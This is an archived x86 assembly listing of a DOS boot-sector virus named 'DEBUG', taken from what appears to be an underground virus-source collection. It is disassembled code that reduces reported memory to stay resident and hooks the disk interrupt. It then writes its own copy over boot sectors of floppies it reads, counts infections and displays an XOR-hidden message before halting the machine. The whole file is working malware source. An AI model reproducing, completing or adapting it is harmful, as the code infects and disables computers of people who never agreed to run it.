home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / debug.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  6.5 KB  |  285 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                                     ██
  10.  
  11. ;██                DEBUG                                     ██
  12.  
  13. ;██                                                     ██
  14.  
  15. ;██      Created:   16-Sep-94                                         ██
  16.  
  17. ;██      Passes:    5          Analysis    Options on: none                 ██
  18.  
  19. ;██                                                     ██
  20.  
  21. ;██████████████████████████████████████████████████████████████████████████
  22.  
  23.  
  24.  
  25. target        EQU   'T3'                      ; Target assembler: TASM-3.1
  26.  
  27.  
  28.  
  29. include  srmacros.inc
  30.  
  31.  
  32.  
  33.  
  34.  
  35. ; The following equates show data references outside the range of the program.
  36.  
  37.  
  38.  
  39. data_1e        equ    6
  40.  
  41. data_2e        equ    0Eh
  42.  
  43. data_3e        equ    417h
  44.  
  45. data_4e        equ    46Eh
  46.  
  47. data_5e        equ    24h
  48.  
  49. data_6e        equ    26h
  50.  
  51. data_7e        equ    4Ch
  52.  
  53. data_8e        equ    4Eh
  54.  
  55. data_13e    equ    413h            ;*
  56.  
  57. data_14e    equ    46Eh            ;*
  58.  
  59. data_15e    equ    7C00h            ;*
  60.  
  61. data_16e    equ    7CD3h            ;*
  62.  
  63. data_18e    equ    7D25h            ;*
  64.  
  65. data_19e    equ    7DBDh            ;*
  66.  
  67.  
  68.  
  69. seg_a        segment    byte public
  70.  
  71.         assume    cs:seg_a, ds:seg_a
  72.  
  73.  
  74.  
  75.  
  76.  
  77.         org    100h
  78.  
  79.  
  80.  
  81. debug        proc    far
  82.  
  83.  
  84.  
  85. start:
  86.  
  87.         jmp    short real_start
  88.  
  89.                                     ;* No entry point to code
  90.  
  91.         nop
  92.  
  93.         push    si
  94.  
  95.         inc    di
  96.  
  97.         inc    cx
  98.  
  99.         inc    bx
  100.  
  101.         push    ax
  102.  
  103.         db     36h, 30h, 33h, 00h, 02h, 01h
  104.  
  105.         db     01h, 00h, 02h, 70h, 00h, 68h
  106.  
  107.         db     06h,0F9h, 05h, 00h, 0Ah, 00h
  108.  
  109.         db     02h
  110.  
  111.         db    9 dup (0)
  112.  
  113.         db     01h, 00h, 29h,0EDh, 93h, 26h
  114.  
  115.         db     1Dh
  116.  
  117.         db    'NO NAME    FAT12   '
  118.  
  119.  
  120.  
  121. ;██████████████████████████████████████████████████████████████████████████
  122.  
  123. ;
  124.  
  125. ;                       External Entry Point
  126.  
  127. ;
  128.  
  129. ;██████████████████████████████████████████████████████████████████████████
  130.  
  131.  
  132.  
  133. real_start:
  134.  
  135.         cli                ; Disable interrupts
  136.  
  137.         push    cs
  138.  
  139.         pop    ds
  140.  
  141.         mov    ax,ds:data_7e
  142.  
  143.         mov    ds:data_16e,ax
  144.  
  145.         mov    ax,ds:data_8e
  146.  
  147.         mov    word ptr ds:data_16e+2,ax
  148.  
  149.         mov    al,ds:data_14e
  150.  
  151.         mov    ds:data_19e,al
  152.  
  153.         mov    ax,ds:data_13e
  154.  
  155.         dec    ax
  156.  
  157.         mov    ds:data_13e,ax
  158.  
  159.         mov    cl,6
  160.  
  161.         shl    ax,cl            ; Shift w/zeros fill
  162.  
  163.         sub    ax,7C0h
  164.  
  165.         mov    ds:data_8e,ax
  166.  
  167.         mov    ds:data_6e,ax
  168.  
  169.         mov    word ptr ds:data_7e,7C82h
  170.  
  171.         mov    word ptr ds:data_5e,7D62h
  172.  
  173.         mov    si,data_15e
  174.  
  175.         mov    di,si
  176.  
  177.         mov    es,ax
  178.  
  179.         mov    cx,100h
  180.  
  181.         cld                ; Clear direction
  182.  
  183.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  184.  
  185.         int    19h            ; Bootstrap loader
  186.  
  187.         cmp    ah,0AAh
  188.  
  189.         jne    loc_1            ; Jump if not equal
  190.  
  191.         iret                ; Interrupt return
  192.  
  193. loc_1:
  194.  
  195.         cmp    ah,2
  196.  
  197.         jne    loc_4            ; Jump if not equal
  198.  
  199.         cmp    cx,1
  200.  
  201.         jne    loc_4            ; Jump if not equal
  202.  
  203.         cmp    dh,0
  204.  
  205.         jne    loc_4            ; Jump if not equal
  206.  
  207.         push    ax
  208.  
  209.         push    bx
  210.  
  211.         push    si
  212.  
  213.         push    di
  214.  
  215.         pushf                ; Push flags
  216.  
  217.         call    dword ptr cs:data_16e
  218.  
  219.         jnc    loc_2            ; Jump if carry=0
  220.  
  221.         jmp    short loc_5
  222.  
  223. loc_2:
  224.  
  225.         cmp    word ptr es:[1FEh][bx],0AA55h
  226.  
  227.         je    loc_3            ; Jump if equal
  228.  
  229.         jmp    short $+29h
  230.  
  231.         db     26h, 80h,0BFh,0BCh, 01h,0C9h
  232.  
  233.         db     74h, 7Ah,0E8h, 8Bh, 00h,0E8h
  234.  
  235. data_10        db    31h            ; Data table (indexed access)
  236.  
  237.         db     00h, 8Bh,0F3h, 80h,0FAh, 79h
  238.  
  239.         db     77h, 1Eh, 83h,0C6h, 02h,0BFh
  240.  
  241.         db     02h, 7Ch,0B9h, 1Eh, 00h, 32h
  242.  
  243.         db    0F6h,0EBh, 30h,0EAh, 85h,0A5h
  244.  
  245.         db     00h,0F0h
  246.  
  247.         db    0B8h, 01h, 00h,0F8h
  248.  
  249. loc_5:
  250.  
  251.         pop    di
  252.  
  253.         pop    si
  254.  
  255.         pop    bx
  256.  
  257.         inc    sp
  258.  
  259.         inc    sp
  260.  
  261.         retf    2            ; Return far
  262.  
  263. loc_6:
  264.  
  265.         add    si,1BEh
  266.  
  267.         mov    di,7DBEh
  268.  
  269.         mov    cx,20h
  270.  
  271.         jmp    short $+15h
  272.  
  273.  
  274.  
  275. debug        endp
  276.  
  277.  
  278.  
  279. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  280.  
  281. ;                              SUBROUTINE
  282.  
  283. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  284.  
  285.  
  286.  
  287. sub_1        proc    near
  288.  
  289.         mov    ax,301h
  290.  
  291.         pushf                ; Push flags
  292.  
  293.         call    dword ptr cs:data_16e
  294.  
  295.         jnc    loc_ret_7        ; Jump if carry=0
  296.  
  297.         pop    bx
  298.  
  299.         mov    cl,1
  300.  
  301.         xor    dh,dh            ; Zero register
  302.  
  303.         jmp    short $-28h
  304.  
  305.  
  306.  
  307. loc_ret_7:
  308.  
  309.         retn
  310.  
  311. sub_1        endp
  312.  
  313.  
  314.  
  315.                                     ;* No entry point to code
  316.  
  317.         push    ds
  318.  
  319.         push    es
  320.  
  321.         pop    ds
  322.  
  323.         push    cs
  324.  
  325.         pop    es
  326.  
  327.         cld                ; Clear direction
  328.  
  329.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  330.  
  331.         mov    cx,1
  332.  
  333.         mov    bx,7C00h
  334.  
  335.         mov    ax,301h
  336.  
  337.         pushf                ; Push flags
  338.  
  339.         call    dword ptr cs:data_16e
  340.  
  341.         jc    $-0Fh            ; Jump if carry Set
  342.  
  343.         push    ds
  344.  
  345.         pop    es
  346.  
  347.         inc    byte ptr cs:data_19e
  348.  
  349.         pop    ds
  350.  
  351.         jmp    short $-4Ch
  352.  
  353.                                     ;* No entry point to code
  354.  
  355.         add    ax,714h
  356.  
  357.         sbb    al,1
  358.  
  359.         or    al,75h            ; 'u'
  360.  
  361.         push    ss
  362.  
  363.         sbb    ax,1610h
  364.  
  365.         push    ds
  366.  
  367.         db    0FFh
  368.  
  369. loc_8:
  370.  
  371.         call    sub_2
  372.  
  373.         pop    di
  374.  
  375.         pop    si
  376.  
  377.         pop    bx
  378.  
  379.         pop    ax
  380.  
  381.         pushf                ; Push flags
  382.  
  383.         call    dword ptr cs:data_16e
  384.  
  385.         xor    dh,dh            ; Zero register
  386.  
  387.         mov    cl,1
  388.  
  389.         retf    2            ; Return far
  390.  
  391.  
  392.  
  393. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  394.  
  395. ;                              SUBROUTINE
  396.  
  397. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  398.  
  399.  
  400.  
  401. sub_2        proc    near
  402.  
  403.         cmp    dl,79h            ; 'y'
  404.  
  405.         ja    loc_10            ; Jump if above
  406.  
  407.         mov    ax,es:[bx+16h]
  408.  
  409.         mov    dh,1
  410.  
  411.         cmp    al,3
  412.  
  413.         jae    loc_9            ; Jump if above or =
  414.  
  415.         mov    cl,3
  416.  
  417.         retn
  418.  
  419. loc_9:
  420.  
  421.         cmp    al,7
  422.  
  423.         jae    loc_10            ; Jump if above or =
  424.  
  425.         mov    cl,5
  426.  
  427.         retn
  428.  
  429. loc_10:
  430.  
  431.         mov    cl,0Eh
  432.  
  433.         retn
  434.  
  435. sub_2        endp
  436.  
  437.  
  438.  
  439.                                     ;* No entry point to code
  440.  
  441.         push    ax
  442.  
  443.         push    ds
  444.  
  445.         xor    ax,ax            ; Zero register
  446.  
  447.         mov    ds,ax
  448.  
  449.         mov    al,ds:data_3e
  450.  
  451.         and    al,0Ch
  452.  
  453.         cmp    al,0Ch
  454.  
  455.         jne    loc_11            ; Jump if not equal
  456.  
  457.         in    al,60h            ; port 60h, keybd scan or sw1
  458.  
  459.         cmp    al,53h            ; 'S'
  460.  
  461.         jne    loc_11            ; Jump if not equal
  462.  
  463.         in    al,61h            ; port 61h, 8255 port B, read
  464.  
  465.         push    ax
  466.  
  467.         or    al,80h
  468.  
  469.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  470.  
  471.         pop    ax
  472.  
  473.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  474.  
  475.                         ;  al = 0, disable parity
  476.  
  477.         mov    ax,2
  478.  
  479.         int    10h            ; Video display   ah=functn 00h
  480.  
  481.                         ;  set display mode in al
  482.  
  483.         mov    al,20h            ; ' '
  484.  
  485.         out    20h,al            ; port 20h, 8259-1 int command
  486.  
  487.                         ;  al = 20h, end of interrupt
  488.  
  489.         int    19h            ; Bootstrap loader
  490.  
  491. loc_11:
  492.  
  493.         mov    al,ds:data_4e
  494.  
  495.         mov    ds:data_1e,ax
  496.  
  497.         mov    ds:data_2e,ax
  498.  
  499.         push    cs
  500.  
  501.         pop    ds
  502.  
  503.         cmp    al,ds:data_19e
  504.  
  505.         jbe    $+1Ah            ; Jump if below or =
  506.  
  507.         xor    ax,ax            ; Zero register
  508.  
  509.         int    10h            ; Video display   ah=functn 00h
  510.  
  511.                         ;  set display mode in al
  512.  
  513.         mov    si,data_18e
  514.  
  515. loc_12:
  516.  
  517.         mov    ah,0Eh
  518.  
  519.         xor    bx,bx            ; Zero register
  520.  
  521.         cld                ; Clear direction
  522.  
  523.         lodsb                ; String [si] to al
  524.  
  525.         cmp    al,0FFh
  526.  
  527.         je    loc_13            ; Jump if equal
  528.  
  529.         xor    al,55h            ; 'U'
  530.  
  531.         int    10h            ; Video display   ah=functn 0Eh
  532.  
  533.                         ;  write char al, teletype mode
  534.  
  535.         jmp    short loc_12
  536.  
  537. loc_13:
  538.  
  539.         hlt                ; Halt processor
  540.  
  541.         pop    ds
  542.  
  543.         pop    ax
  544.  
  545.         jmp    far ptr $-1930h
  546.  
  547.         db    0C9h, 0Fh, 80h, 01h, 01h, 00h
  548.  
  549.         db     06h, 0Eh,0E2h,0E7h, 22h, 00h
  550.  
  551.         db     00h, 00h, 0Eh,0C8h, 07h
  552.  
  553.         db    49 dup (0)
  554.  
  555.         db     55h,0AAh
  556.  
  557.  
  558.  
  559. seg_a        ends
  560.  
  561.  
  562.  
  563.  
  564.  
  565.  
  566.  
  567.         end    start
  568.  
  569.